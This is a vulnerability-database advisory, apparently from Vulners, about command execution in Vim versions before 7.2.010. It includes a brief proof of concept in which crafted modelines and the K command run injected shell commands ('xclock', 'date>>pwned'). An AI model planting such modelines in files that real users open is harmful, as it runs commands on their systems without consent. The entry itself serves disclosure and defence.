Lucene search
K

Vim <= 7.1.314 - Insufficient Shell Escaping Multiple Command Execution Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Vim command-execution vulnerabilities prior to version 7.2.01

Code

                                                source: http://www.securityfocus.com/bid/30795/info

Vim is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Versions prior to Vim 7.2.010 are vulnerable. 

Copy-and-paste these examples into separate files:

;xclock
vim: set iskeyword=;,@

Place your cursor on ``xclock&#39;&#39;, and press K. xclock appears.

;date&#62;&#62;pwned
vim: set iskeyword=1-255

Place your cursor on ``date&#39;&#39; and press K. File ``pwned&#39;&#39; is created in
the current working directory.

Please note: If modeline processing is disabled, set the &#39;iskeyword&#39;
option manually. 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation